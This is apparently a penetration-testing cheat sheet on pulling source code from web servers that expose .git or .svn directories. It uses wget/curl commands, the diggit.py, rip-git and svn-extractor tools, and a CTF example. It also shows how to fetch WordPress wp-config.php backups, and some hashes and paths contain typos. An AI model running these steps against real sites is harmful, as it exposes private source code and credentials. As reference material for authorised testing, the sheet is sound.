# Insecured source code management

# **GIT - Source code management**

## Github example with a .git

- 1. Check 403 error (Forbidden) for .git or even better : directory listing
- 2. Git saves all informations in log file .git/logs/HEAD (try 'head' too)

3. Access to the commit based on the hash -> a directory name (first two signs from hash) and filename (rest of it).git/objects/26/e3547od38c4d6815bc4426a862d5399fo4865c,

```
# create a .git directory

git init test
cd test/.git

# download the file
wget http://xxx.web.xxx.com/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
mkdir .git/object/26
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/

# display the content of the file
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
tree 323240a3983045cdc0dec2e88c1358e7998f2e39
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489390329 +0000
committer Michael <michael@easyctf.com> 1489390329 +0000
Initial.
```

4. Access the tree 323240a3983045cdcodec2e88c1358e7998f2e39

- 5. Read the data (flag.txt)
- wget http://xxx.web.xxx.com/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
   mkdir .git/object/cb

## Automatic way: diggit.py

```
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://webpage.com -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1

-u is remote path, where .git folder exists
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
-o is a hash of particular Git object to download
```

#### Alternative way: rip-git

```
perl rip-git.pl -v -u "http://edge1.web.****.com/.git/"

git cat-file -p 07603070376d63d911f608120eb4b5489b507692
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489389105 +0000
committer Michael <michael@easyctf.com> 1489389105 +0000
git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
```

# **SVN - Source code management**

#### **SVN example (Wordpress)**

- curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
  - Download the svn database from http://server/path\_to\_vulnerable\_site/.svn/wc.db (http://server/path\_to\_vulnerable\_site/.svn/wc.db)
    - INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'
      file',X'2829',NULL,'\$sha1\$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de
      ',38,1456056261000000,NULL,NULL);
  - 2. Download interesting files
    - remove \\$sha1\\$ prefix
    - add .svn-base postfix
    - use first two signs from hash as folder name inside pristine/ directory (94 in this case)
    - create complete path, which will be: http://server/path\_to\_vulnerable\_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svnbase

#### **Automatic** way

```
git clone https://github.com/anantshri/svn-extractor.git
   python svn-extractor.py -url "url with .svn available"
```

## Thanks to

- bl4de, https://github.com/bl4de/research/tree/master/hidden\_directories\_leaks
   (https://github.com/bl4de/research/tree/master/hidden\_directories\_leaks)
- bl4de, https://github.com/bl4de/security-tools/tree/master/diggit (https://github.com/bl4de/security-